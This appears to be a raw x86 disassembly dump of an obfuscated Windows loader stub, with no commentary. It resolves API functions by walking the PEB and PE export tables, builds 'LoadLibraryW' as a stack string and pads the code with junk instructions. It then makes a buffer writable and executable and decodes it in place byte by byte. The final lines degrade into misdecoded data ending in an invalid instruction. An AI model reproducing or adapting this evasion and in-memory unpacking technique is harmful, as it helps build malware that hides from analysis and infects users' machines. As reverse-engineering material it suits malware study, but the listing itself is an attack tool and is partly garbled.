add ebx, 0x108a2
and ebx, 0x1419d
or ebx, 0x2351
pop ebx
push eax
push edi
add esp, 4
xor eax, 0xa65c
pop eax
push ecx
push ebx
add esp, 4
or ecx, 0x4242
pop ecx
mov byte [ebp - 0x850], 0x4c
mov byte [ebp - 0x84f], 0x6f
mov byte [ebp - 0x84e], 0x61
mov byte [ebp - 0x84d], 0x64
mov byte [ebp - 0x84c], 0x4c
mov byte [ebp - 0x84b], 0x69
mov byte [ebp - 0x84a], 0x62
mov byte [ebp - 0x849], 0x72
mov byte [ebp - 0x848], 0x61
mov byte [ebp - 0x847], 0x72
mov byte [ebp - 0x846], 0x79
mov byte [ebp - 0x845], 0x57
mov byte [ebp - 0x844], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1c38], edx
mov eax, dword [ebp - 0x1c38]
mov dword [ebp - 0x1564], eax
push ebx
and ebx, 0x40a9
call 0x4123b2
add byte [esi + 0x39], cl
dec edx
inc esp
dec esp
push eax
xor eax, 0x4c4834e
and ebx, 0x223
jmp 0x4123c0
pop ebx
push esi
xor esi, 0xe820
jmp 0x4123cd
pop esi
cmp dword [ebp - 0x1564], 0
jne 0x4123e6
mov dword [ebp - 0x740], 0
jmp 0x41268d
mov ecx, dword [ebp - 0x1564]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc68], eax
push edi
xor edi, 0x7018
or edi, 0x1380d
and edi, 0x877b
sub edi, 0x165a8
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0x11671
xor ebx, 0x4722
xor ebx, 0x15daa
pop ebx
cmp dword [ebp - 0xc68], 0
jne 0x412442
mov dword [ebp - 0x740], 0
jmp 0x41268d
mov ecx, dword [ebp - 0xc68]
mov dword [ebp - 0x4d4], ecx
push ecx
or ecx, 0x9b44
call 0x412465
add byte [edi], bh
dec esp
inc esi
inc edx
dec eax
xor edi, dword [ecx]
dec esi
dec esi
cmp al, byte [ebx + 0x575904c4]
push eax
add esp, 4
call 0x41247c
add byte [eax + edi + 0x3b], al
inc edx
inc eax
xor edi, dword [esi]
cmp dword [ebx - 0x72a0fb3c], eax
xchg ebp, eax
nop
jmp 0x95cb2487
push edx
call 0x41269d
add byte [edi + ecx*2 + 0x4f], al
aaa
inc ecx
cmp eax, 0x8343363c
les eax, [edx + ebx*2]
push ebx
push edx
add esp, 4
and ebx, 0x2d92
or ebx, 0x67b0
pop ebx
push ebx
push esi
add esp, 4
or ebx, 0x179a8
pop ebx
cmp dword [ebp - 0x740], 0
jne 0x412709
push edx
add edx, 0x9925
sub edx, 0xef05
pop edx
push esi
push esi
add esp, 4
add esi, 0xbfd
pop esi
push eax
push esi
add esp, 4
call 0x4126f6
add byte [ebp + 0x48], cl
xor al, 0x40
aas
dec ebp
dec edi
dec ebx
add esp, 4
pop eax
mov dword [ebp - 0xa50], 0
jmp 0x413230
push edx
jmp 0x41270f
call 0x41271d
add byte [ecx + 0x45], cl
dec ebx
inc ebp
dec edx
inc eax
inc esi
add esp, 4
and edx, 0xed66
and edx, 0xf063
pop edx
push edx
add edx, 0x7f84
xor edx, 0x1605c
pop edx
mov eax, dword [ebp - 0x740]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x750], 0
mov edx, dword [ebp - 0x354]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x41277a
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0x39c], eax
jmp 0x412a6b
mov ecx, dword [ebp - 0x1570]
mov edx, dword [ebp - 0x354]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1574], edx
jne 0x4127a2
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0x39c], eax
jmp 0x412a6b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1574]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1578], ecx
cmp dword [ebp - 0x1578], 0
jne 0x4127d4
mov edx, dword [ebp - 0x750]
mov dword [ebp - 0x39c], edx
jmp 0x412a6b
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x1578]
mov dword [ebp - 0x744], eax
jne 0x4127f9
mov ecx, dword [ebp - 0x750]
mov dword [ebp - 0x39c], ecx
jmp 0x412a6b
mov edx, dword [ebp - 0x744]
mov eax, dword [ebp - 0x354]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1c3c], eax
mov ecx, dword [ebp - 0x744]
mov edx, dword [ebp - 0x354]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1c40], edx
mov eax, dword [ebp - 0x744]
mov ecx, dword [ebp - 0x354]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1c44], ecx
mov dword [ebp - 0x6c4], 0
jmp 0x412853
mov eax, dword [ebp - 0x744]
mov ecx, dword [ebp - 0x6c4]
cmp ecx, dword [eax + 0x18]
jae 0x412a5f
mov edx, dword [ebp - 0x6c4]
mov eax, dword [ebp - 0x1c3c]
mov ecx, dword [ebp - 0x354]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x74c], ecx
mov edx, dword [ebp - 0x6c4]
mov eax, dword [ebp - 0x1c40]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x354]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1c48], eax
mov dword [ebp - 0x158], 0
jmp 0x4128c3
mov ecx, dword [ebp - 0x158]
add ecx, 1
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x74c]
add edx, dword [ebp - 0x158]
movsx eax, byte [edx]
test eax, eax
je 0x412975
mov ecx, dword [ebp - 0x158]
movsx edx, byte [ebp + ecx - 0x850]
test edx, edx
je 0x412975
push eax
sub eax, 0xe6b7
pop eax
push edi
push eax
add esp, 4
sub edi, 0xeb88
add edi, 0xfc9
call 0x412917
add byte [edx + esi], dh
dec edi
inc esp
cmp cl, byte [ebp + 0x43]
inc ebp
add esp, 4
jmp 0x412921
pop edi
mov eax, dword [ebp - 0x74c]
add eax, dword [ebp - 0x158]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x158]
movsx eax, byte [ebp + edx - 0x850]
cmp ecx, eax
je 0x412967
mov ecx, dword [ebp - 0x74c]
add ecx, dword [ebp - 0x158]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x158]
movsx ecx, byte [ebp + eax - 0x850]
cmp edx, ecx
jne 0x41296e
jmp 0x4128b4
jmp 0x412975
push ebx
call 0x412984
add byte [ebx], dh
dec ebx
cmp esi, dword [ecx + edi]
dec eax
dec edx
cmp al, 0x83
les eax, [ecx + eax*4]
retf
mov edx, dword [ebp - 0x750]
mov dword [ebp - 0x39c], edx
cmp dword [ebp - 0x39c], 0
je 0x412b46
push ebx
push eax
add esp, 4
sub ebx, 0x2013
xor ebx, 0xc48e
jmp 0x412a8f
and ebx, 0x10841
pop ebx
push ecx
and ecx, 0x13ecd
and ecx, 0xa546
sub ecx, 0x93ae
pop ecx
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x1c4c], eax
push edx
push edx
add esp, 4
or edx, 0x7df7
pop edx
push edi
add edi, 0x9700
xor edi, 0x3eea
or edi, 0x3c97
pop edi
push edx
push ebx
add esp, 4
or edx, 0xb1fa
sub edx, 0x15078
pop edx
mov ecx, dword [ebp - 0x1c4c]
mov dword [ebp - 0x1c50], ecx
lea edx, [ebp - 0x15e8]
push edx
call dword [ebp - 0x1c50]
test eax, eax
jne 0x412b46
push edi
and edi, 0x4cd3
or edi, 0x18343
and edi, 0x63e5
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x49f
pop ecx
push ebx
push ecx
add esp, 4
or ebx, 0x14d60
or ebx, 0x5ba5
pop ebx
mov dword [ebp - 0xa50], 0
jmp 0x413230
push esi
push eax
add esp, 4
sub esi, 0x3fa9
pop esi
push edi
sub edi, 0xd608
sub edi, 0xb679
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x6e93
xor ebx, 0xc3c3
add ebx, 0x6ce7
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c54], eax
mov ecx, dword [ebp - 0x1c54]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1c58], edx
mov eax, dword [ebp - 0x1c58]
mov dword [ebp - 0x157c], eax
push esi
call 0x412bb0
add byte [edx], bh
inc ebp
aas
push eax
cmp eax, 0x4d414646
inc ecx
add esp, 4
call 0x412bc2
add byte [edx + 0x3b], cl
dec ebx
xor edi, dword [eax]
inc edi
inc ebp
cmp bh, byte [0xeb04c483]
add eax, dword [esi + 0x47]
inc ecx
add esi, 0x1666f
pop esi
cmp dword [ebp - 0x157c], 0
jne 0x412be9
mov dword [ebp - 0x2a0], 0
jmp 0x412e90
mov ecx, dword [ebp - 0x157c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc78], eax
push eax
push edx
add esp, 4
add eax, 0x5c0e
xor eax, 0xbc2
add eax, 0x7b41
and eax, 0xac48
pop eax
push esi
or esi, 0x10978
or esi, 0x42e9
sub esi, 0xf559
pop esi
cmp dword [ebp - 0xc78], 0
jne 0x412c45
mov dword [ebp - 0x2a0], 0
jmp 0x412e90
mov ecx, dword [ebp - 0xc78]
mov dword [ebp - 0x4d8], ecx
push edx
jmp 0x412c58
sub edx, 0x17d9b
and edx, 0x6667
pop edx
push ecx
push ecx
add esp, 4
xor ecx, 0xea
sub ecx, 0x122cb
jmp 0x412c7c
sub ecx, 0x8647
pop ecx
lea edx, [ebp - 0x15e8]
mov dword [ebp - 0xc74], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc70], ecx
xor edx, edx
mov word [ebp - 0x1c0], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
or ebx, 0x5dca
and ebx, 0x6b7e
call 0x412cc9
add byte [edx], dh
cmp eax, dword [ebx + 0x4b]
xor al, 0x45
dec ebp
inc ecx
add esp, 4
or ebx, 0x18378
pop ebx
push ebx
push ecx
add esp, 4
and ebx, 0x92a0
pop ebx
mov ecx, dword [ebp - 0xc70]
mov dx, word [ecx]
mov word [ebp - 0xfe2], dx
mov eax, dword [ebp - 0xc70]
add eax, 2
mov dword [ebp - 0xc70], eax
mov cx, word [ebp - 0xfe2]
mov word [ebp - 0x1c0], cx
mov edx, dword [ebp - 0xc74]
mov ax, word [edx]
mov word [ebp - 0xfe4], ax
mov ecx, dword [ebp - 0xc74]
add ecx, 2
mov dword [ebp - 0xc74], ecx
mov dx, word [ebp - 0xfe4]
mov word [ebp - 0x34], dx
push esi
push eax
add esp, 4
or esi, 0xe04e
xor esi, 0x17f2b
sub esi, 0x9c69
xor esi, 0x2935
pop esi
push esi
sub esi, 0x820
or esi, 0xf04f
or esi, 0xe463
pop esi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x412d85
movzx ecx, word [ebp - 0x1c0]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1584], ecx
jmp 0x412ddf
movzx eax, word [ebp - 0x1c0]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x412cad
movzx edx, word [ebp - 0x1c0]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x412cad
movzx ecx, word [ebp - 0x1c0]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x412dc9
mov dword [ebp - 0x1580], 0xffffffff
jmp 0x412dd3
mov dword [ebp - 0x1580], 1
mov eax, dword [ebp - 0x1580]
mov dword [ebp - 0x1584], eax
cmp dword [ebp - 0x1584], 0
jne 0x412e28
push esi
sub esi, 0x17d16
sub esi, 0xa8f8
add esi, 0xb295
or esi, 0x16381
pop esi
push edx
call 0x412e0f
add byte [ecx + 0x3e], al
xor al, 0x4e
push eax
xor eax, 0x5a04c483
push edx
jmp 0x412e19
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x2a0], ecx
jmp 0x412e90
push edx
jmp 0x412e32
pop edx
push eax
push esi
add esp, 4
call 0x412e44
add byte [edi + 0x44], cl
xor eax, dword [esi + 0x3b]
dec ebp
add esp, 4
pop eax
push ecx
push ebx
add esp, 4
add ecx, 0x60fc
and ecx, 0x46c7
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc78]
je 0x412e86
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x412c51
mov dword [ebp - 0x2a0], 0
push edi
push edi
add esp, 4
xor edi, 0x70c8
xor edi, 0xfac
sub edi, 0xfe75
pop edi
push edx
and edx, 0xd85e
sub edx, 0xfcf6
add edx, 0x80e7
and edx, 0xbe14
pop edx
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x314], ecx
push edi
push ecx
add esp, 4
sub edi, 0x10575
pop edi
push ecx
xor ecx, 0x6c8e
pop ecx
push ecx
push eax
add esp, 4
jmp 0x412ef0
xor ecx, 0x13c3f
pop ecx
push edi
push edx
add esp, 4
add edi, 0x126fe
pop edi
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x314]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x412f33
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], eax
jmp 0x413224
mov ecx, dword [ebp - 0x1588]
mov edx, dword [ebp - 0x314]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x158c], edx
jne 0x412f5b
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], eax
jmp 0x413224
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x158c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1590], ecx
cmp dword [ebp - 0x1590], 0
jne 0x412f8d
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], edx
jmp 0x413224
mov eax, dword [ebp - 0x314]
add eax, dword [ebp - 0x1590]
mov dword [ebp - 0x754], eax
jne 0x412fb2
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], ecx
jmp 0x413224
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x314]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1c5c], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x314]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1c60], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x314]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1c64], ecx
mov dword [ebp - 0x758], 0
jmp 0x41300c
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x413218
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1c5c]
mov ecx, dword [ebp - 0x314]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1c60]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1c64]
mov eax, dword [ebp - 0x314]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1c68], eax
mov dword [ebp - 0x15c], 0
jmp 0x41307c
mov ecx, dword [ebp - 0x15c]
add ecx, 1
mov dword [ebp - 0x15c], ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x15c]
movsx eax, byte [edx]
test eax, eax
je 0x41312e
mov ecx, dword [ebp - 0x15c]
movsx edx, byte [ebp + ecx - 0x978]
test edx, edx
je 0x41312e
push eax
push esi
add esp, 4
sub eax, 0xa5e
pop eax
push ecx
add ecx, 0x1766b
xor ecx, 0xd985
call 0x4130d1
add byte [edi + edi], bh
dec ebp
inc esp
push eax
xor eax, 0xc483323e
add al, 0x81
leave
mov dh, 0x85
add dword [eax], eax
pop ecx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x15c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x15c]
movsx eax, byte [ebp + edx - 0x978]
cmp ecx, eax
je 0x413120
mov ecx, dword [ebp - 0x75c]
add ecx, dword [ebp - 0x15c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x15c]
movsx ecx, byte [ebp + eax - 0x978]
cmp edx, ecx
jne 0x413127
jmp 0x41306d
jmp 0x41312e
push ebx
push esi
add esp, 4
xor ebx, 0x4464
sub ebx, 0xdb62
pop ebx
push edi
push ebx
add esp, 4
xor edi, 0x135bd
jmp 0x413153
and edi, 0xa6a5
and edi, 0x101ea
pop edi
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x15c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x15c]
movsx edx, byte [ebp + ecx - 0x978]
cmp eax, edx
jne 0x41318d
mov dword [ebp - 0xc7c], 0
jmp 0x4131fc
push ecx
push edi
add esp, 4
add ecx, 0x4292
add ecx, 0x1340a
xor ecx, 0x5820
pop ecx
push ecx
add ecx, 0x199e
or ecx, 0x17cf7
and ecx, 0x119f3
and ecx, 0xccf5
pop ecx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x15c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x15c]
movsx eax, byte [ebp + edx - 0x978]
or eax, 0x20
cmp ecx, eax
jge 0x4131f2
mov dword [ebp - 0xc7c], 0xffffffff
jmp 0x4131fc
mov dword [ebp - 0xc7c], 1
cmp dword [ebp - 0xc7c], 0
jne 0x413213
mov ecx, dword [ebp - 0x1c68]
mov dword [ebp - 0x4dc], ecx
jmp 0x413224
jmp 0x412ffd
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x4dc], edx
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0xa50], eax
push edi
call 0x413240
add byte [esi + 0x34], al
dec edx
inc edi
dec eax
cmp al, 0x43
push eax
dec ebp
add esp, 4
xor edi, 0xdc8d
and edi, 0x152eb
or edi, 0x18134
pop edi
push eax
push ebx
add esp, 4
add eax, 0x126bf
pop eax
mov ecx, dword [ebp - 0xa50]
mov dword [ebp - 0x1c6c], ecx
lea edx, [ebp - 0xc80]
push edx
push 0x40
mov eax, dword [ebp - 0x1594]
push eax
mov ecx, dword [ebp - 0x398]
push ecx
call dword [ebp - 0x1c6c]
test eax, eax
jne 0x4132d5
push esi
or esi, 0x9247
add esi, 0x9590
sub esi, 0x14a53
pop esi
push edx
push edi
add esp, 4
and edx, 0x101e0
add edx, 0x9d80
and edx, 0xc356
xor edx, 0xb5d1
pop edx
mov edx, dword [ebp - 0x768]
mov dword [ebp - 0x1c70], edx
push 0
call dword [ebp - 0x1c70]
mov eax, dword [ebp - 0x1c74]
mov dword [ebp - 0x764], eax
jmp 0x4132f2
mov ecx, dword [ebp - 0x764]
add ecx, 1
mov dword [ebp - 0x764], ecx
mov edx, dword [ebp - 0x764]
cmp edx, dword [ebp - 0xa54]
jae 0x41334e
push esi
sub esi, 0x13f00
xor esi, 0x583d
pop esi
push edx
jmp 0x413317
sub edx, 0x46e3
xor edx, 0xa13d
and edx, 0x9d4b
pop edx
push eax
or eax, 0x15eaf
pop eax
movzx eax, byte [ebp - 0x3ad]
mov ecx, dword [ebp - 0x764]
movsx edx, byte [ecx]
sub edx, eax
mov eax, dword [ebp - 0x764]
mov byte [eax], dl
jmp 0x4132e3
mov ecx, dword [ebp - 0xa50]
mov dword [ebp - 0x1c78], ecx
lea edx, [ebp - 0xc80]
push edx
mov eax, dword [ebp - 0xc80]
push eax
mov ecx, dword [ebp - 0x1594]
push ecx
mov edx, dword [ebp - 0x398]
push edx
call dword [ebp - 0x1c78]
test eax, eax
jne 0x4133c6
push edi
push eax
add esp, 4
and edi, 0x680a
pop edi
push ebx
push edx
add esp, 4
xor ebx, 0x17266
or ebx, 0x45a1
sub ebx, 0xcf51
jmp 0x4133a9
pop ebx
push esi
add esi, 0x8ee5
pop esi
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x1c7c], eax
push 0
call dword [ebp - 0x1c7c]
push edi
sub edi, 0x10741
sub edi, 0x135d0
pop edi
push edi
push ebx
add esp, 4
call 0x4133e7
add byte [ebp + 0x3c], al
inc ebx
push eax
dec edi
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0xeb
add eax, 0x45323748
inc edx
add edi, 0x5193
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop edi
pop ebx
mov ebp, cs
or eax, 0xc1e3f78a
or dword [ecx], ecx
pushal
mov dl, al
mov byte [0x8a090a7b], al
invalid